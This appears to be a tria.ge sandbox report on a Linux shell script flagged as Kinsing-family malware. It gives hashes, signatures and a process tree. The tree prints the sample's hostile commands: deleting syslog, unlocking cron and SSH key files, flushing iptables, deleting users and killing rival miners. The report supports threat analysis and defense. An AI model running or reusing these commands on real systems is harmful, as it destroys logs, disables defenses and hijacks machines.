Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
92s -
max time network
137s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
24/02/2025, 03:50
Static task
static1
Behavioral task
behavioral1
Sample
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
-
Size
27KB
-
MD5
e1753baa1b118dc24f6dc0ba82fdafc0
-
SHA1
3906dedc8d5623bf5ab739ee156a881d011630b2
-
SHA256
ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988
-
SHA512
cd8208faf30c801fb4b41114d566eeba58629dd5658d0e82883b875fa4bd24a00ec813fd2e05c39afa158cd0bfae40e17bbfc810e649fbf873037badde8d25ce
-
SSDEEP
384:p7pQBDf6jlpTWg3vMGQiKMvU/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeUoJ5:p7wVFNcDAFLcIwgnoYq0xFB/aps
Malware Config
Signatures
-
Kinsing family
-
Kinsing payload 1 IoCs
resource yara_rule behavioral3/files/fstream-17.dat family_elf_kinsing_loader -
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2147 Process not Found -
Executes dropped EXE 1 IoCs
ioc pid Process /var/tmp/kinsing 2152 ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 716 iptables -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 721 sudo -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1581 xargs 1623 xargs 2089 Process not Found 838 xargs 850 xargs 1531 xargs 1711 xargs 1356 xargs 1729 xargs 796 xargs 1014 xargs 1121 xargs 1369 xargs 1647 xargs 861 xargs 1144 xargs 1422 xargs 1707 xargs 832 xargs 1679 xargs 2049 Process not Found 994 xargs 1315 xargs 1388 xargs 1499 xargs 711 chattr 740 chattr 1001 xargs 1556 xargs 1659 xargs 705 chattr 891 xargs 1717 xargs 1136 xargs 1202 xargs 1566 xargs 987 xargs 1741 xargs 1207 xargs 1536 xargs 1695 xargs 942 xargs 1586 xargs 1610 xargs 753 grep 1511 xargs 1521 xargs 1761 xargs 1546 xargs 1665 xargs 1705 xargs 927 xargs 1046 xargs 1451 xargs 1596 xargs 1661 xargs 1675 xargs 1693 xargs 1763 xargs 974 xargs 1053 xargs 1591 xargs 1617 xargs 2073 Process not Found -
Creates/modifies Cron job 1 TTPs 33 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.we2Rrr Process not Found File opened for modification /var/spool/cron/crontabs/tmp.quUPuI Process not Found File opened for modification /var/spool/cron/crontabs/tmp.BVgLIz Process not Found File opened for modification /var/spool/cron/crontabs/tmp.BUHgnz Process not Found File opened for modification /var/spool/cron/crontabs/tmp.aCLvHK Process not Found File opened for modification /var/spool/cron/crontabs/tmp.4BYue3 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.0nSCol Process not Found File opened for modification /var/spool/cron/crontabs/tmp.iGf9VI Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ngWYvR Process not Found File opened for modification /var/spool/cron/crontabs/tmp.uBUx63 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.VtyPU9 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Dq01ec Process not Found File opened for modification /var/spool/cron/crontabs/tmp.U0vabo Process not Found File opened for modification /var/spool/cron/crontabs/tmp.DFO2Ab Process not Found File opened for modification /var/spool/cron/crontabs/tmp.iV9DMm Process not Found File opened for modification /var/spool/cron/crontabs/tmp.rBlnJt Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QWpgW7 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ZpoQoj Process not Found File opened for modification /var/spool/cron/crontabs/tmp.lJzOuT Process not Found File opened for modification /var/spool/cron/crontabs/tmp.IMFS11 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.sVVGG8 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.n7IHbe Process not Found File opened for modification /var/spool/cron/crontabs/tmp.jmz2Lv Process not Found File opened for modification /var/spool/cron/crontabs/tmp.dYZYac Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ApbY8K Process not Found File opened for modification /var/spool/cron/crontabs/tmp.7hpU0g Process not Found File opened for modification /var/spool/cron/crontabs/tmp.DbJhtS Process not Found File opened for modification /var/spool/cron/crontabs/tmp.8hHj0k Process not Found File opened for modification /var/spool/cron/crontabs/tmp.rrIaLt Process not Found File opened for modification /var/spool/cron/crontabs/tmp.V0Lvce Process not Found File opened for modification /var/spool/cron/crontabs/tmp.sNEoeD Process not Found File opened for modification /var/spool/cron/crontabs/tmp.eqi38f Process not Found File opened for modification /var/spool/cron/crontabs/tmp.x2s6lV Process not Found -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
pid Process 2111 Process not Found 2118 Process not Found 2122 Process not Found 2111 Process not Found 2130 Process not Found 2091 Process not Found 2091 Process not Found 2091 Process not Found 2120 Process not Found 2124 Process not Found 2125 Process not Found 2111 Process not Found 2111 Process not Found 2091 Process not Found 2114 Process not Found 2116 Process not Found 2119 Process not Found 2121 Process not Found 2123 Process not Found 2127 Process not Found 2128 Process not Found 2091 Process not Found 2091 Process not Found 2110 Process not Found 2126 Process not Found 2129 Process not Found 2111 Process not Found 2111 Process not Found -
pid Process 2090 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 33 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
pid Process 867 ps 1181 ps 1296 ps 1345 ps 1010 ps 1049 ps 1112 ps 1228 ps 1310 ps 1378 ps 1464 ps 1023 ps 1106 ps 1470 ps 1494 ps 2136 Process not Found 928 ps 964 ps 976 ps 1070 ps 1303 ps 983 ps 1086 ps 1091 ps 1132 ps 1243 ps 1274 ps 1324 ps 1452 ps 749 ps 918 ps 1077 ps 1267 ps 1517 ps 1286 ps 1389 ps 1441 ps 945 ps 1002 ps 1056 ps 1317 ps 1384 ps 1203 ps 1248 ps 1255 ps 1372 ps 970 ps 872 ps 882 ps 1332 ps 1447 ps 1482 ps 990 ps 997 ps 1016 ps 1365 ps 1423 ps 1488 ps 857 ps 1260 ps 1429 ps 933 ps 1150 ps 1223 ps -
description ioc Process File opened for reading /proc/36/cmdline pkill File opened for reading /proc/696/stat ps File opened for reading /proc/5/cmdline pkill File opened for reading /proc/sys/kernel/osrelease pkill File opened for reading /proc/81/status Process not Found File opened for reading /proc/2/cmdline Process not Found File opened for reading /proc/filesystems Process not Found File opened for reading /proc/669/status ps File opened for reading /proc/8/status ps File opened for reading /proc/1347/status ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/4/status pgrep File opened for reading /proc/336/stat ps File opened for reading /proc/15/stat ps File opened for reading /proc/360/cmdline pkill File opened for reading /proc/14/cmdline pkill File opened for reading /proc/335/status pkill File opened for reading /proc/126/cmdline Process not Found File opened for reading /proc/76/stat ps File opened for reading /proc/946/stat ps File opened for reading /proc/388/stat ps File opened for reading /proc/388/status ps File opened for reading /proc/335/stat ps File opened for reading /proc/667/cmdline ps File opened for reading /proc/336/status pgrep File opened for reading /proc/15/cmdline ps File opened for reading /proc/14/stat ps File opened for reading /proc/1285/status ps File opened for reading /proc/36/status ps File opened for reading /proc/234/stat ps File opened for reading /proc/712/status ps File opened for reading /proc/385/status ps File opened for reading /proc/16/status ps File opened for reading /proc/19/status ps File opened for reading /proc/11/stat ps File opened for reading /proc/336/stat ps File opened for reading /proc/1/cmdline pkill File opened for reading /proc/22/stat ps File opened for reading /proc/1105/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/698/status ps File opened for reading /proc/73/cmdline Process not Found File opened for reading /proc/12/cmdline Process not Found File opened for reading /proc/21/cmdline Process not Found File opened for reading /proc/2/status ps File opened for reading /proc/366/stat ps File opened for reading /proc/667/status pgrep File opened for reading /proc/1745/status pgrep File opened for reading /proc/13/cmdline pkill File opened for reading /proc/110/cmdline Process not Found File opened for reading /proc/7/cmdline Process not Found File opened for reading /proc/15/status ps File opened for reading /proc/1068/stat ps File opened for reading /proc/18/stat ps File opened for reading /proc/701/stat ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/254/cmdline ps File opened for reading /proc/15/status ps File opened for reading /proc/81/cmdline pkill File opened for reading /proc/13/status pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/696/cmdline pgrep File opened for reading /proc/4/status ps -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1088 grep 1125 grep 1367 grep 1908 Process not Found 2233 Process not Found -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh
Processes
-
/tmp/ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh/tmp/ec1213394717932b0062136ce96d42092e9120da1e32cce7ff355de67c7b6988.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:701 -
/bin/rmrm -rf /var/log/syslog2⤵PID:703
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:705
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:707
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵PID:709
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵
- Attempts to change immutable files
PID:711
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:716
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:721 -
/usr/sbin/sendmailsendmail -t3⤵PID:730
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1tmOYS-0000Bm-Rb4⤵PID:745
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:733
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1tmOYS-0000Bp-Rb4⤵PID:744
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:735
-
-
-
/usr/sbin/userdeluserdel akay2⤵PID:737
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:738
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Attempts to change immutable files
PID:740
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:742
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:746
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:747
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:748
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:750
-
-
/bin/psps aux2⤵
- Process Discovery
PID:749
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:753
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:752
-
-
/bin/grepgrep 185.71.65.2382⤵PID:757
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:760
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:765
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:764
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:763
-
-
/bin/grepgrep 140.82.52.872⤵PID:762
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:772
-
-
/bin/grepgrep -v -2⤵PID:771
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:770
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:769
-
-
/bin/grepgrep :1432⤵PID:768
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:776
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:775
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:778
-
-
/bin/grepgrep -v -2⤵PID:777
-
-
/bin/grepgrep :22222⤵PID:774
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:782
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:784
-
-
/bin/grepgrep -v -2⤵PID:783
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:781
-
-
/bin/grepgrep :33332⤵PID:780
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:790
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:787
-
-
/bin/grepgrep -v -2⤵PID:789
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:788
-
-
/bin/grepgrep :33892⤵PID:786
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:796
-
-
/bin/grepgrep -v -2⤵PID:795
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:794
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:793
-
-
/bin/grepgrep :44442⤵PID:792
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:802
-
-
/bin/grepgrep -v -2⤵PID:801
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:800
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:799
-
-
/bin/grepgrep :55552⤵PID:798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:808
-
-
/bin/grepgrep -v -2⤵PID:807
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:806
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:805
-
-
/bin/grepgrep :66662⤵PID:804
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:814
-
-
/bin/grepgrep -v -2⤵PID:813
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:812
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:811
-
-
/bin/grepgrep :66652⤵PID:810
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:820
-
-
/bin/grepgrep -v -2⤵PID:819
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:818
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:817
-
-
/bin/grepgrep :66672⤵PID:816
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:826
-
-
/bin/grepgrep -v -2⤵PID:825
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:823
-
-
/bin/grepgrep :77772⤵PID:822
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:832
-
-
/bin/grepgrep -v -2⤵PID:831
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:830
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:829
-
-
/bin/grepgrep :84442⤵PID:828
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:838
-
-
/bin/grepgrep -v -2⤵PID:837
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:836
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:835
-
-
/bin/grepgrep :33472⤵PID:834
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:844
-
-
/bin/grepgrep -v -2⤵PID:843
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:842
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:841
-
-
/bin/grepgrep :144442⤵PID:840
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:850
-
-
/bin/grepgrep -v -2⤵PID:849
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:848
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:847
-
-
/bin/grepgrep :144332⤵PID:846
-
-
/bin/grepgrep -v -2⤵PID:855
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:856
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:854
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:853
-
-
/bin/grepgrep :135312⤵PID:852
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:861
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:860
-
-
/bin/grepgrep -v grep2⤵PID:859
-
-
/bin/grepgrep "sleep 60"2⤵PID:858
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:857
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:866
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:865
-
-
/bin/grepgrep -v grep2⤵PID:864
-
-
/bin/grepgrep ./crun2⤵PID:863
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:871
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:870
-
-
/bin/grepgrep -v grep2⤵PID:869
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:868
-
-
/bin/psps aux2⤵
- Process Discovery
PID:867
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:876
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:875
-
-
/bin/grepgrep :33332⤵PID:874
-
-
/bin/grepgrep -v grep2⤵PID:873
-
-
/bin/psps aux2⤵
- Process Discovery
PID:872
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:881
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:880
-
-
/bin/grepgrep :55552⤵PID:879
-
-
/bin/grepgrep -v grep2⤵PID:878
-
-
/bin/psps aux2⤵PID:877
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:886
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:885
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:884
-
-
/bin/grepgrep -v grep2⤵PID:883
-
-
/bin/psps aux2⤵
- Process Discovery
PID:882
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:891
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:890
-
-
/bin/grepgrep log_2⤵PID:889
-
-
/bin/grepgrep -v grep2⤵PID:888
-
-
/bin/psps aux2⤵PID:887
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:896
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:895
-
-
/bin/grepgrep systemten2⤵PID:894
-
-
/bin/grepgrep -v grep2⤵PID:893
-
-
/bin/psps aux2⤵PID:892
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:901
-
/usr/local/sbin/killkill -9 103⤵PID:902
-
-
/usr/local/bin/killkill -9 103⤵PID:902
-
-
/usr/sbin/killkill -9 103⤵PID:902
-
-
/usr/bin/killkill -9 103⤵PID:902
-
-
/sbin/killkill -9 103⤵PID:902
-
-
/bin/killkill -9 103⤵PID:902
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:900
-
-
/bin/grepgrep netns2⤵PID:899
-
-
/bin/grepgrep -v grep2⤵PID:898
-
-
/bin/psps aux2⤵PID:897
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:907
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:906
-
-
/bin/grepgrep voltuned2⤵PID:905
-
-
/bin/grepgrep -v grep2⤵PID:904
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:903
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:912
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:911
-
-
/bin/grepgrep darwin2⤵PID:910
-
-
/bin/grepgrep -v grep2⤵PID:909
-
-
/bin/psps aux2⤵PID:908
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:917
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:916
-
-
/bin/grepgrep /tmp/dl2⤵PID:915
-
-
/bin/grepgrep -v grep2⤵PID:914
-
-
/bin/psps aux2⤵PID:913
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:922
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:921
-
-
/bin/grepgrep /tmp/ddg2⤵PID:920
-
-
/bin/grepgrep -v grep2⤵PID:919
-
-
/bin/psps aux2⤵
- Process Discovery
PID:918
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:927
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:926
-
-
/bin/grepgrep /tmp/pprt2⤵PID:925
-
-
/bin/grepgrep -v grep2⤵PID:924
-
-
/bin/psps aux2⤵PID:923
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:932
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:931
-
-
/bin/grepgrep /tmp/ppol2⤵PID:930
-
-
/bin/grepgrep -v grep2⤵PID:929
-
-
/bin/psps aux2⤵
- Process Discovery
PID:928
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:937
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:936
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:935
-
-
/bin/grepgrep -v grep2⤵PID:934
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:933
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:942
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:941
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:940
-
-
/bin/grepgrep -v grep2⤵PID:939
-
-
/bin/psps aux2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:949
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:945
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:956
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:955
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:954
-
-
/bin/grepgrep -v grep2⤵PID:953
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:952
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:961
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:960
-
-
/bin/grepgrep 45.76.122.922⤵PID:959
-
-
/bin/grepgrep -v grep2⤵PID:958
-
-
/bin/psps aux2⤵PID:957
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:968
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:967
-
-
/bin/grepgrep 51.38.191.1782⤵PID:966
-
-
/bin/grepgrep -v grep2⤵PID:965
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:964
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:974
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:973
-
-
/bin/grepgrep 51.15.56.1612⤵PID:972
-
-
/bin/grepgrep -v grep2⤵PID:971
-
-
/bin/psps aux2⤵
- Process Discovery
PID:970
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:980
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:979
-
-
